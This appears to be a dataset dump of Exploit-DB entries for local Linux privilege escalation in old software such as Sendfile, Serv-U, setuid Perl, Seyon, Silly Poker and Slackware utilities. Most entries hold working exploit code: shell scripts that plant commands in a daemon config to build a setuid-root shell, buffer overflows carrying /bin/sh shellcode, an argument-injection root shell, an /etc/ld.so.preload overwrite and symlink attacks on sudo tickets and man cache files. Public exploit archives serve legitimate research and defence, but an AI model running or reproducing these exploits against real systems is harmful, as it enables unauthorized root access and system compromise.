deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20798
Description: Sendfile 1.x/2.1 - Forced Privilege Lowering Failure
Type: local
Platform: linux
Date: 2001-04-24
Author: Cade Cairns

Exploit:
source: https://www.securityfocus.com/bid/2652/info

Sendfile is an implementation of the SAFT (simple asynchronous file transfer) protocol for UNIX systems.

A serialization error exists in the Sendfile daemon, sendfiled. When used in conjunction with other problems found in the daemon, it may be possible for a local user to execute arbitrary commands as root and gain elevated privileges. 

#!/bin/sh
#
# sfdnfy - Sendfile daemon local arbitrary command execution vulnerability
#
# references:
#   https://www.securityfocus.com/bid/2652
#   https://www.securityfocus.com/bid/2631
#
# 04/24/01 psheep

SFUSER=$USER
SFHOST=localhost
SFPORT=saft
SFSPOOL=/var/spool/sendfile
SFUSERCFG="$SFSPOOL/$SFUSER/config/config"

echo "Sendfile daemon local arbitrary command execution vulnerability"
echo
echo "  username        = $SFUSER"
echo "  spool directory = $SFSPOOL"
echo "  config file     = $SFUSERCFG"
echo "  target hostname = $SFHOST"
echo "  target port     = $SFPORT"
echo

if ! test -d $SFSPOOL; then
  echo "** unable to locate the sendfile spool directory, exiting"
  exit 1
fi

sfsavedcfg="no"

if ! test -d $SFSPOOL/$SFUSER || ! test -d $SFSPOOL/$SFUSER/config; then
  echo "** attempting to create sendfile spool directory for $SFUSER"
  echo
  (sleep 1;echo "TO $SFUSER";sleep 2) | telnet $SFHOST $SFPORT
  echo
else
  if test -f $SFUSERCFG; then
    echo "** backing up your sendfile daemon configuration file"
    mv $SFUSERCFG $SFSPOOL/$SFUSER/config/config.tmp
    sfsavedcfg="yes"
  fi
fi

cat > sfdnfy.c << EOF
#include <unistd.h>
#include <stdlib.h>

int main() {
    setreuid(0,0);
    setgid(0);
    system("chown root.root $PWD/sfdsh;chmod 4755 $PWD/sfdsh");
}
EOF

cat > sfdsh.c << EOF
#include <unistd.h>

int main() {
    setreuid(0,0);
    setgid(0);
    execl("/bin/sh", "sh", NULL);
}
EOF

echo "** compiling helper application as $PWD/sfdnfy"
cc -o $PWD/sfdnfy $PWD/sfdnfy.c

if ! test -x $PWD/sfdnfy; then
  echo "** compilation failed, exiting"
  exit 1
fi

echo "** compiling shell wrapper as $PWD/sfdsh"
cc -o $PWD/sfdsh $PWD/sfdsh.c

if ! test -x $PWD/sfdsh; then
  echo "** compilation failed, exiting"
  exit 1
fi

echo "** inserting commands into temporary configuration file"
echo "notification = mail $USER;$PWD/sfdnfy" >$SFUSERCFG

echo "** attempting attack against sendfile daemon..."
echo

(sleep 1;cat << EOF
FROM $USER
TO $USER
FILE boom$RANDOM
SIZE 0 0
DATA
FILE boom$RANDOM
SIZE 1 0
DATA
EOF
sleep 2) | telnet $SFHOST $SFPORT
echo

if test "x$sfsavedcfg" = xyes; then
  echo "** restoring backed up configuration file"
  mv $SFSPOOL/$SFUSER/config/config.tmp $SFUSERCFG
else
  echo "** removing temporary configuration file"
  rm $SFUSERCFG
fi

echo "** done, the shell wrapper should be suid root after the mailer is done"
echo
exit 1
Exploit-DB #20795
Description: Sendfile 1.x/2.1 - Local Privileged Arbitrary Command Execution
Type: local
Platform: linux
Date: 2001-04-24
Author: psheep

Exploit:
source: https://www.securityfocus.com/bid/2645/info

Sendfile is an implementation of the SAFT (simple asynchronous file transfer) protocol for UNIX systems.

Due to a problem dropping privileges completely before running user-specified post-processing commands in the Sendfile daemon, it may be possible for a local user to execute arbitrary commands with elevated privileges. 

#!/bin/sh
#
# sfdfwd - Sendfile daemon local arbitrary command execution vulnerability 
#
# references:
#   https://www.securityfocus.com/bid/2645
#   http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=76048
#
# 04/24/01 psheep

SFUSER=$USER
SFHOST=localhost
SFPORT=saft
SFSPOOL=/var/spool/sendfile
SFUSERCFG="$SFSPOOL/$SFUSER/config/config"

echo "Sendfile daemon local arbitrary command execution exploit"
echo
echo "  username        = $SFUSER"
echo "  spool directory = $SFSPOOL"
echo "  config file     = $SFUSERCFG"
echo "  target hostname = $SFHOST"
echo "  target port     = $SFPORT"
echo

if ! test -d $SFSPOOL; then
  echo "** unable to locate the sendfile spool directory, exiting"
  exit 1
fi

sfsavedcfg="no"

if ! test -d $SFSPOOL/$SFUSER || ! test -d $SFSPOOL/$SFUSER/config; then
  echo "** attempting to create sendfile spool directory for $SFUSER"
  echo
  (sleep 1;echo "TO $SFUSER";sleep 2) | telnet $SFHOST $SFPORT
  echo
else
  if test -f $SFUSERCFG; then
    echo "** backing up your sendfile daemon configuration file"
    mv $SFUSERCFG $SFSPOOL/$SFUSER/config/config.tmp
    sfsavedcfg="yes"
  fi
fi

cat > sfdfwd.c << EOF
#include <unistd.h>
#include <stdlib.h>

int main() {
    setreuid(0,0);
    setgid(0);
    system("chown root.root $PWD/sfdsh;chmod 4755 $PWD/sfdsh");
}
EOF

cat > sfdsh.c << EOF
#include <unistd.h>

int main() {
    setreuid(0,0);
    setgid(0);
    execl("/bin/sh", "sh", NULL);
}
EOF

echo "** compiling helper application as $PWD/sfdfwd"
cc -o $PWD/sfdfwd $PWD/sfdfwd.c

if ! test -x $PWD/sfdfwd; then
  echo "** compilation failed, exiting"
  exit 1
fi

echo "** compiling shell wrapper as $PWD/sfdsh"
cc -o $PWD/sfdsh $PWD/sfdsh.c

if ! test -x $PWD/sfdsh; then
  echo "** compilation failed, exiting"
  exit 1
fi

echo "** inserting commands into temporary configuration file"
echo "forward = |$PWD/sfdfwd" >$SFUSERCFG

echo "** attempting attack against sendfile daemon..."
echo

(sleep 1;cat << EOF
FROM $USER
TO $USER
FILE boom$RANDOM
SIZE 0 0
DATA
QUIT
EOF
sleep 2) | telnet $SFHOST $SFPORT
echo

if test "x$sfsavedcfg" = xyes; then
  echo "** restoring backed up configuration file"
  mv $SFSPOOL/$SFUSER/config/config.tmp $SFUSERCFG
else
  echo "** removing temporary configuration file"
  rm $SFUSERCFG
fi

echo "** done, the shell wrapper should be suid root"
echo
exit 1
Exploit-DB #21062
Description: Sendmail 8.11/8.12 Debugger - Arbitrary Code Execution (3)
Type: local
Platform: linux
Date: 2001-08-17
Author: Lucian Hudin

Exploit:
source: https://www.securityfocus.com/bid/3163/info
  
An input validation error exists in Sendmail's debugging functionality.
  
The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied from the command line with the '-d' switch and writing the values to it's internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector, and can therefore be used to write within a certain range of proces memory if a negative value is given.
  
Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21062.tar.gz
Exploit-DB #21063
Description: Sendmail 8.11/8.12 Debugger - Arbitrary Code Execution (4)
Type: local
Platform: linux
Date: 2001-08-17
Author: RoMaN SoFt

Exploit:
source: https://www.securityfocus.com/bid/3163/info
   
An input validation error exists in Sendmail's debugging functionality.
   
The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied from the command line with the '-d' switch and writing the values to it's internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector, and can therefore be used to write within a certain range of proces memory if a negative value is given.
   
Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21063.tar.gz
Exploit-DB #47009
Description: Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1)
Type: local
Platform: linux
Date: 2019-06-18
Author: Guy Levin

Exploit:
/*

CVE-2019-12181 Serv-U 15.1.6 Privilege Escalation 

vulnerability found by:
Guy Levin (@va_start - twitter.com/va_start) https://blog.vastart.dev

to compile and run:
gcc servu-pe-cve-2019-12181.c -o pe && ./pe

*/

#include <stdio.h>
#include <unistd.h>
#include <errno.h>

int main()
{       
    char *vuln_args[] = {"\" ; id; echo 'opening root shell' ; /bin/sh; \"", "-prepareinstallation", NULL};
    int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args);
    // if execv is successful, we won't reach here
    printf("ret val: %d errno: %d\n", ret_val, errno);
    return errno;
}
Exploit-DB #792
Description: Setuid perl - 'PerlIO_Debug()' Root Owned File Creation Privilege Escalation
Type: local
Platform: linux
Date: 2005-02-07
Author: Kevin Finisterre

Exploit:
/*
 * Copyright Kevin Finisterre 
 * 
 * ** DISCLAIMER ** I am in no way responsible for your stupidity.
 * ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
 *
 * ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
 * ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
 * ** WARNING ** have a boot disk ready incase some thing goes wrong.
 *
 * Setuid Perl exploit by KF - kf_lists[at]secnetops[dot]com - 1/30/05
 *
 * this exploits a vulnerability in the PERLIO_DEBUG functionality
 * tested against sperl5.8.4 on Debian
 *
 * kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
 * kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
 * ls: /etc/ld.so.preload: No such file or directory
 * kfinisterre@jdam:~$ ./ex_perl
 * sperl needs fd script
 * You should not call sperl directly; do you need to change a #! line
 * from sperl to perl?
 * kfinisterre@jdam:~$ su -
 * jdam:~# id
 * uid=0(root) gid=0(root) groups=0(root)
 * jdam:~# rm /etc/ld.so.preload
 *
 */


#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>

int main(int *argc, char **argv)
{

        FILE *getuid;
        if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        
	fprintf(getuid, "int getuid(){return 0;}\n" );
        fclose(getuid);

        system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");

	putenv("PERLIO_DEBUG="PRELOAD);
        umask(001); // I'm rw-rw-rw james bitch!
        system("/usr/bin/sperl5.8.4");
        FILE *ld_so_preload;

        char preload[] = {
                "/tmp/getuid.so\n"
        };

        if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
        fclose(ld_so_preload);
}

// milw0rm.com [2005-02-07]
Exploit-DB #252
Description: Seyon 2.1 rev. 4b i586-Linux (RedHat 4.0/5.1) - Local Overflow
Type: local
Platform: linux
Date: 2001-01-15
Author: teleh0r

Exploit:
#!/usr/bin/perl

## (c) Copyright teleh0r@doglover.com / anno domani 2000
##
## Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux
## Tested on: RedHat 4.0/5.1
##
## Greets: scrippie, *@HWA, grazer, mixter, pr0ix, s\
## http://www.digit-labs.org/ || http://teleh0r.cjb.net/


$shellcode =
    "\xeb\x1f".                  #/* jmp 0x1f              */
    "\x5e".                      #/* popl %esi             */
    "\x89\x76\x08".              #/* movl %esi,0x8(%esi)   */
    "\x31\xc0".                  #/* xorl %eax,%eax        */
    "\x88\x46\x07".              #/* movb %eax,0x7(%esi)   */
    "\x89\x46\x0c".              #/* movl %eax,0xc(%esi)   */
    "\xb0\x0b".                  #/* movb $0xb,%al         */
    "\x89\xf3".                  #/* movl %esi,%ebx        */
    "\x8d\x4e\x08".              #/* leal 0x8(%esi),%ecx   */
    "\x8d\x56\x0c".              #/* leal 0xc(%esi),%edx   */
    "\xcd\x80".                  #/* int $0x80             */
    "\x31\xdb".                  #/* xorl %ebx,%ebx        */
    "\x89\xd8".                  #/* movl %ebx,%eax        */
    "\x40".                      #/* inc %eax              */
    "\xcd\x80".                  #/* int $0x80             */
    "\xe8\xdc\xff\xff\xff".      #/* call -0x24            */
    "/bin/sh";                   #/* .string \"/bin/sh\"   */


$ret = 0xbfffef96;
$egg = 500;
$len = 208;
$nop = 'A';

if (@ARGV == 1) {
    $offset = $ARGV[0];
}

if (!($ENV{'DISPLAY'})) {
    die("Error: the shell variable DISPLAY is not set.\n");
}

$buffer .= $nop;
$new_ret = pack('l',($ret + $offset));

print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
sleep(1);

for ($i = 0; $i < $len; $i += 4) {
    $buffer .= pack('l',($ret + $offset));
}

for ($i = 0; $i < ($egg - length($shellcode)); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode; 

# seyon uses X, so if there is no X server running, or you
# are not allowed to connect to it, start X on your machine, 
# and using xhost, allow the target to connect to your server, 
# then: export DISPLAY=your-ip:0.0 - and execute the exploit. 

exec("/usr/X11R6/bin/seyon -noemulator \"$buffer\"");


# milw0rm.com [2001-01-15]
Exploit-DB #41435
Description: Shutter 0.93.1 - Code Execution
Type: local
Platform: linux
Date: 2016-12-26
Author: Prajith

Exploit:
# Exploit Title: Shutter user-assisted remote code execution
# Date: 2016-12-26
# Software Link: http://shutter-project.org/
# Version: 0.93.1
# Tested on: Ubuntu,  Debian
# Exploit Author: Prajith P
# Website: http://prajith.in/
# Author Mail: me@prajith.in
# CVE: CVE-2016-10081

1. Description.
   /usr/bin/shutter in Shutter through 0.93.1 allows user-assisted remote
attackers to execute arbitrary commands via a crafted image name that is
mishandled during a "Run a plugin" action.

2. Proof of concept.
   1) Rename an image to something like "$(firefox)"
   2) Open the renamed file in shutter
   3) Click the "Run a plugin" option and select any plugin from the list and click "Run"

3. Solution:
  https://bugs.launchpad.net/shutter/+bug/1652600


Thanks,
Prajithh
Exploit-DB #23204
Description: Silly Poker 0.25.5 - Local HOME Environment Variable Buffer Overrun
Type: local
Platform: linux
Date: 2003-09-30
Author: demz

Exploit:
// source: https://www.securityfocus.com/bid/8736/info

A local buffer overrun vulnerability has been reported for Silly Poker. The problem occurs due to insufficient bounds checking when handling user-supplied data. As a result, an attacker may be capable of controlling the execution flow of the sillypoker program and effectivley executing arbitrary code with elevated privileges. 

/* c-sillyPoker.c
 *
 * PoC exploit made for advisory based uppon an local stack based overflow.
 * Vulnerable versions, maybe also prior versions:
 *
 * silly Poker v0.25.5
 *
 * Tested on:  Debian 3.1
 *
 * Advisory source: c-code.net (security research team)
 * http://www.c-code.net/Releases/Advisories/c-code-adv002.txt
 *
 * ---------------------------------------------
 * coded by: demz (c-code.net) (demz@c-code.net)
 * ---------------------------------------------
 *
 */

#include <stdio.h>
#include <stdlib.h>

char shellcode[]=

	"\x31\xc0"                      // xor          eax, eax
        "\x31\xdb"                      // xor          ebx, ebx
        "\x31\xc9"                      // xor          ecx, ecx
        "\xb0\x46"                      // mov          al, 70
        "\xcd\x80"                      // int          0x80

        "\x31\xc0"                      // xor          eax, eax
        "\x50"                          // push         eax
        "\x68\x6e\x2f\x73\x68"          // push  long   0x68732f6e
        "\x68\x2f\x2f\x62\x69"          // push  long   0x69622f2f
        "\x89\xe3"                      // mov          ebx, esp
        "\x50"                          // push         eax
        "\x53"                          // push         ebx
        "\x89\xe1"                      // mov          ecx, esp
        "\x99"                          // cdq
        "\xb0\x0b"                      // mov          al, 11
        "\xcd\x80"                      // int          0x80

        "\x31\xc0"                      // xor          eax, eax
        "\xb0\x01"                      // mov          al, 1
        "\xcd\x80";                     // int          0x80

int main()
{
	unsigned long ret = 0xbffffb44;

	char buffer[1028];
	int i=0;

	memset(buffer, 0x90, sizeof(buffer));

	for (0; i < strlen(shellcode) - 1;i++)
	buffer[500 + i] = shellcode[i];

	buffer[1028] = (ret & 0x000000ff);
	buffer[1029] = (ret & 0x0000ff00) >> 8;
	buffer[1030] = (ret & 0x00ff0000) >> 16;
	buffer[1031] = (ret & 0xff000000) >> 24;
	buffer[1032] = 0x0;

	printf("\nsilly Poker v0.25.5 local exploit\n");
        printf("---------------------------------------- demz @ c-code.net --\n");

	setenv("HOME", buffer, 1);

	execl("/usr/bin/sillypoker", "sillypoker", NULL);
}
Exploit-DB #25993
Description: Skype Technologies Skype 0.92/1.0/1.1 - Insecure Temporary File Creation
Type: local
Platform: linux
Date: 2005-07-18
Author: Giovanni Delvecchio

Exploit:
source: https://www.securityfocus.com/bid/14293/info

Skype is affected by an insecure temporary file creation vulnerability.

Exploitation would most likely result in loss of data or a denial of service if critical files are overwritten in the attack. Other attacks may be possible as well.

Skype 1.1.0.20 and prior versions are affected. 

#!/bin/sh

#get current terminal number from /dev/pts/xx
terminal_number=`tty | cut -f4 -d '/'`

user_ticket=$USER/$terminal_number:root
ln -s /var/run/sudo/$user_ticket /tmp/skype_profile.jpg
Exploit-DB #21014
Description: Slackware 7.0/7.1/8.0 - Manual Page Cache File Creation
Type: local
Platform: linux
Date: 2001-07-17
Author: josh

Exploit:
// source: https://www.securityfocus.com/bid/3054/info

Slackware Linux contains a configuration error that enables local users to create files in the directory used by the system manual pager ('man') for cache files.

Due to the behaviour of the 'man' program, it may be possible for an attacker to create a malicious cache file causing the execution of arbitrary code when another user views a manual page corresponding to that cache file. 

ln -s "/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=.;script;man.7" /var/man/cat7/man.7.gz

When `/usr/bin/man man` is executed by root, it will create
/var/man/cat7/man.1.gz. The symlink forces it to create a file in /usr/man/man7 named:
"/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;exportPATH=.;script;man.7.gz."

/usr/bin/man will then execute /tmp/script which contains:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>

int main()
{
FILE *fil;
mode_t perm = 06711;

if(!getuid()) {
fil = fopen("/tmp/bleh.c","w");
fprintf(fil,"%s\n","#include <unistd.h>");
fprintf(fil,"%s\n","#include <stdio.h>");
fprintf(fil,"%s\n","int main() {");
fprintf(fil,"%s\n","setreuid(0,0);setregid(0,0);");
fprintf(fil,"%s\n","execl(\"/bin/su\",\"su\",NULL);");
fprintf(fil,"%s\n","return 0; }");
fclose(fil);
system("/usr/bin/gcc -o /tmp/bleh /tmp/bleh.c");
unlink("/tmp/bleh.c");
chmod("/tmp/bleh", perm);
}
execl("/usr/bin/man","man","/usr/man/man7/man.7.gz",NULL);
return 0;
}
Exploit-DB #285
Description: Slackware 7.1 - '/usr/bin/mail' Local Privilege Escalation
Type: local
Platform: linux
Date: 2001-03-03
Author: kengz

Exploit:
/*
   Slackware 7.1 /usr/bin/Mail Exploit give gid=1 ( bin )
   if /usr/bin/Mail is setgid but it is not setgid,
   setuid for default.

  tested on my box ( sl 7.1 )
  crazy exploited by kengz.
  GID.... \x01 = 1 (bin)
          \x02 = 2 ,
          \x03 = 3 ,
     ...  \x0a = 10
          \x0b = 11
    ....
*/

#include <stdio.h>
#include <string.h>
#define GID    "\x03"

int main(int argc, char **argv) {
  char shellcode[] =
    "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31"
    "\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3"GID"\xb1"
     GID"\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"
    "\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
    "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
    "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

  char buf2[10000];
  char buffer[15000];
  char nop[8000];
  char *p, *q;
  long ret=0xbfffffff;
  int len, offset = 0, i,j,k,ii;
  ret = ret - 5000;

  for(k=0; k<2000; k+=4)
    *(long *)&buf2[k] = ret;

  for(k=0;k<7000;k++){
    strcat(nop,"\x90");
  }
  snprintf(buffer,12000,"%s%s%s",nop,shellcode,buf2);
  printf("Crazy Mail sploit by kengz \n");
  printf("Hit    '  .  ' to go \n");
  execl("/usr/bin/Mail","Mail","x","-s","x","-c",buffer,0);
}


// milw0rm.com [2001-03-03]
Exploit-DB #19283
Description: Slackware Linux 3.1 - '/usr/X11/bin/SuperProbe' Local Buffer Overflow
Type: local
Platform: linux
Date: 1997-03-04
Author: Solar

Exploit:
/*
source: https://www.securityfocus.com/bid/364/info

superprobe is an program supplied with XFree86 that helps determine video hardware. It is shipped with Slackware Linux 3.1 and is installed setuid root. There is an exploitable strcpy buffer overflow in the TestChip() function which allows for a trivial local root compromise.
*/

/*
* SuperProbe buffer overflow exploit for Linux, tested on Slackware 3.1
* Copyright (c) 1997 by Solar Designer
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shellcode =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
"\xff\xd4\x31\xc0\x8d\x51\x04\x89\xcf\x89\x02\xb0\x2e\x40\xfc\xae\x75\xfd"
"\x89\x39\x89\xfb\x40\xae\x75\xfd\x88\x67\xff\xb0\x0b\xcd\x80\x31\xc0\x40"
"\x31\xdb\xcd\x80/"
"/bin/sh"
"0";
char *get_sp() {
asm("movl %esp,%eax");
}
#define bufsize 8192
#define alignment 0
char buffer[bufsize];
main() {
int i;
for (i = 0; i < bufsize / 2; i += 4)
*(char **)&buffer[i] = get_sp() - 2048;
memset(&buffer[bufsize / 2], 0x90, bufsize / 2);
strcpy(&buffer[bufsize - 256], shellcode);
setenv("SHELLCODE", buffer, 1);
memset(buffer, 'x', 72);
*(char **)&buffer[72] = get_sp() - 6144 - alignment;
buffer[76] = 0;
execl("/usr/X11/bin/SuperProbe", "SuperProbe", "-nopr", buffer, NULL);
}